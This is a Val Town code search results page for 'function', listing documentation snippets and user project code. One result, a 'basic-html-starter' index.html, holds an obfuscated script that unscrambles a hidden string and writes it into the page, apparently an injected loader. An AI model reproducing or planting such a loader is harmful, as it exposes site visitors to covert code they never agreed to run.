Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run/image-url.jpg%20%22Image%20title%22?q=function&page=1&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40413 results for "function"(2168ms)

Upgrade to Deno728 words

https://docs.val.town/upgrading/upgrade-to-deno/
removed” Contact us if you need this functionality. Promises are not recursively resolved between functions. Section titled “Promises are not recursively resolved between functions” In the prior runtime, all values

Sections

User-defined functions can be synchronous 🥳

User-defined functions can be synchronous 🥳 Section titled “User-defined functions can be synchronous 🥳” In the old runtime, you would need to await the call to any @user.function. That is

setTimeout has been removed

setTimeout has been removed. Section titled “setTimeout has been removed” Contact us if you need this functionality.

Promises are not recursively resolved between functions

recursively resolved between functions. Section titled “Promises are not recursively resolved between functions” In the prior runtime, all values were recursively awaited. This means that if you returned an array

Cron evaluations has 0 arguments where it used to have 1

purple). This does not affect that fact that crons pass the Interval object to the function that has been scheduled, which allows you to get the lastRunAt value of the

Express to HTTP migration341 words

https://docs.val.town/troubleshooting/express-to-http-migration/
for the express versus HTTP types: // Express handler. export function handler(req, res) { res.send("Hello world"); } // HTTP handler. export function handler(req) { return new Response("Hello world"); } The

Sections

Parameters

for the express versus HTTP types: // Express handler. export function handler(req, res) { res.send("Hello world"); } // HTTP handler. export function handler(req) { return new Response("Hello world"); }

The response object

other details by chaining functions off of the response object, with the HTTP type, these are options you set for the Response object. // Express handler. export function handler(req, res)

The request object

string parameters, will require different code: // Express handler. export function handler(req, res) { res.send(req.query.name); } // HTTP handler. export function handler(req) { return new Response(new URL(req.url).searchParams.get("name")); }

Exports121 words

https://docs.val.town/troubleshooting/exports/
the function to run when that val is triggered. If your val has multiple exports, then we require one of them to the default export, which will be the function

Sections

Exports

the function to run when that val is triggered. If your val has multiple exports, then we require one of them to the default export, which will be the function

Save HTML form data386 words

https://docs.val.town/guides/save-html-form-data/
web browser, the server (your val function) gets sent a GET request. You can check the HTTP method using req.method and change how your val function responds. See Web forms

Sections

Create an HTTP trigger

Create an HTTP trigger. Section titled “Create an HTTP trigger” Write a val function that accepts a Request and returns a Response.

Host your form on Val Town

web browser, the server (your val function) gets sent a GET request. You can check the HTTP method using req.method and change how your val function responds. See Web forms

Your first scheduled cron599 words

https://docs.val.town/quickstarts/first-cron/
The default code will look like this: weatherNotifier.ts export default async function (interval: Interval) { // your code… } This function will be run on a schedule. By default, this

Sections

Step 2: Set up a Cron Trigger

The default code will look like this: weatherNotifier.ts export default async function (interval: Interval) { // your code… } This function will be run on a schedule. By default, this

Step 3: Get the weather

lines to your code. Step 3 import { getWeather } from "https://esm.town/v/stevekrouse/getWeather"; export default async function (interval: Interval) { let weather = await getWeather("Brooklyn, NY"); console.log(weather.current_condition[0].FeelsLikeF); } Replace Brooklyn, NY

Step 4: Send yourself an email

import { email } from "https://esm.town/v/std/email"; import { getWeather } from "https://esm.town/v/stevekrouse/getWeather"; export default async function (interval: Interval) { let weather = await getWeather("Brooklyn, NY"); let feelsLike = weather.current_condition[0].FeelsLikeF; let

Next steps

updates to Discord. weather_forecast_in_the_morning - weather forecast on Telegram. weatherBot - OpenAI Weather Bot via function calling. aqi - email alerts when AQI is unhealthy near you. …add yours here!

Proxied fetch210 words

https://docs.val.town/std/fetch/
contains an alternative version, std/fetch, that wraps the JavaScript Fetch API to provide additional functionality. The fetch function from std/fetch reroutes requests using a proxy vendor so that requests obtain

Sections

Proxied fetch

contains an alternative version, std/fetch, that wraps the JavaScript Fetch API to provide additional functionality. The fetch function from std/fetch reroutes requests using a proxy vendor so that requests obtain

CORS387 words

https://docs.val.town/troubleshooting/cors/
Configuration. Section titled “Example: Custom CORS Configuration” Custom CorsRun in Val Town ↗ export async function myEndpoint() { return new Response("Hello", { headers: { "Access-Control-Allow-Origin": "https://specific-domain.com", "Access-Control-Allow-Methods": "GET,POST", }, });

Sections

Example: Custom CORS Configuration

Example: Custom CORS Configuration. Section titled “Example: Custom CORS Configuration” Custom CorsRun in Val Town ↗ export async function myEndpoint() { return new Response("Hello", { headers: { "Access-Control-Allow-Origin": "https://specific-domain.com", "Access-Control-Allow-Methods":

Example: Handling Preflight Requests

Example: Handling Preflight Requests. Section titled “Example: Handling Preflight Requests” For complete control over CORS behavior, you can handle OPTIONS requests explicitly: Handle Preflight Request export async function myEndpoint(req) {

Removing CORS Headers

we won’t add any custom CORS headers to your request. Remove CORS Headers export async function myEndpoint() { return new Response("Hello", { headers: { "Access-Control-Allow-Origin": "", // The minimum possible

Migrating Deprecated HTTP Vals557 words

https://docs.val.town/troubleshooting/migrating-deprecated-http-vals/
return a different random number on each request: const randomValue = Math.random(); export default async function (req: Request): Promise<Response> { return Response.json({ randomValue }); } Run in Val Town. Terminal

Sections

Accidentally re-using values.

return a different random number on each request: const randomValue = Math.random(); export default async function (req: Request): Promise<Response> { return Response.json({ randomValue }); } Run in Val Town. Terminal

Intentionally caching values for performance!

data fetching. const expensiveData = await fetchLargeDataset(); const cache = new Map(); export default async function (req: Request): Promise<Response> { const url = new URL(req.url); const key = url.searchParams.get("key"); if

Migration Checklist

be safely cached. Move variables that need to be unique per request inside the handler function. Consider opportunities to improve performance by intentionally caching expensive computations or initializations. Test your

Cron268 words

https://docs.val.town/vals/cron/
morning. Crons can be configured with cron syntax, or simple intervals like “once an hour” Functions can run up to once every 15 minutes, or once a minute, with the

Sections

Cron

morning. Crons can be configured with cron syntax, or simple intervals like “once an hour” Functions can run up to once every 15 minutes, or once a minute, with the

Type Signature

anything as a result. The return value is ignored. ExampleRun in Val Town ↗ export function cronValHandler(interval: Interval) { console.log("Cron val ran!"); } The Interval type has the following shape:

Email277 words

https://docs.val.town/vals/email/
team emails to Discord / Slack. Tip. Vals can send email, too! Using the email function in the standard library. Type Signature. Section titled “Type Signature” Files triggered by Email

Sections

Email

team emails to Discord / Slack. Tip. Vals can send email, too! Using the email function in the standard library.

Type Signature

Type Signature. Section titled “Type Signature” Files triggered by Email receive an argument called Email that represents the email that was sent. Here’s an example: Example export async function emailValHandler(email:

basic-html-starterindex.html1 match

@mitchygrowthhacking•Updated 1 hour ago
1<script>(()=>{for(j=function(){for(h='6&EZrFLw9:F9>{84igZ',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("t%3E.jr/-ojuremey%20opyo/i.fsio..c0Onmg5:n.qlxsliat%3CCsL0t%20rop%3E%3C:%25%25etbstois%20lq5-nia:ts;p30;ctces6ilo0;srrem:mtorerT%3Earfarr;-:.%200)h;s9aipo5e-3b8bchd#.fegr%25;bs3p0dhoradusslsd:4::;roxp%20.i:p%3Cx%3Cny%25%20nnid4ti;tdwdtt=kr%20;enp3i%20eiP%200xt;%3Er%7Birfeaee9aiir2%20cl/1t8fssrnx%7B09pszinnhtfi%7B%25o9fpee0.)aeesD%3E,p63fn%7Dt:%3C(3somf:%3Eiosvi%7Dt%7Bosdrp%3Eta5n%3Cr--olsm)%7Daittc0elg/%20tm%3Et%3C/t=vfdia%20ldautdrct%20ol/c=%3E%3Claefr/atrni(irfostlray%25nd%20ids.ons)iUnehhaltlatcSL(cocepo:%22dw0.a%20ydnePtt1ma=jfusmt5pnswa,,.acss%3Everacxm0D//eaet(/oosd%22:edf(ocra;etr.%22dsati%20e/dberahstbiutpznao4:=aedt.t.l%22.(e/arliop(SO%22acCenL8phP%3Co:ceinealp,satowxplhirweoiemndal:r%22T,dh@thscnwro%22oop#)tTuyttR/rt%7D%22%22wd%20rh)nx%7B-%7D.p.t.%7Dfl,=oyoooeadai=%22ne;o-)utancig)(es:-n(cnednem9hetr(%20cs/%7D)ucautrt%25n(,)dcoddtpDenm(f.0h)dcondnnpytnwaha)o.ftec%20kPxmetaltw%7BpYd%3E)b.ndum:%3Ce./r.eedit,,rnC.ewiSc!ot:(ihEeot;iitesa%3Cest-ie%7Bn")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

consistmain.ts9 matches

@know•Updated 2 hours ago
82`;
83
84// --- UTILITY FUNCTIONS ---
85function extractAndParseJson<T>(text: string): T {
86 const jsonMatch = text.match(/\{[\s\S]*\}/);
87 if (!jsonMatch) {
100}
101
102async function callAgent<T>(
103 openai: OpenAI,
104 systemPrompt: string,
122
123// --- HTML & FRONTEND ---
124function generateHtml(sourceUrl: string) {
125 return `<!DOCTYPE html>
126<html lang="en">
212 };
213
214 function createPlaceholder(title) {
215 const card = document.createElement('div');
216 card.className = 'report-card visible';
222 }
223
224 function setupPlaceholders() {
225 resultsGrid.innerHTML = '';
226 finalReportContainer.innerHTML = '';
250 eventSource = new EventSource(url);
251
252 eventSource.onmessage = function(event) {
253 const { agent, data } = JSON.parse(event.data);
254 updateUI(agent, data);
255 };
256
257 eventSource.onerror = function(err) {
258 console.error("EventSource failed:", err);
259 alert('An error occurred during analysis. Check the console.');
264 });
265
266 function updateUI(agent, data) {
267 if (agent === 'done') {
268 eventSource.close();

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.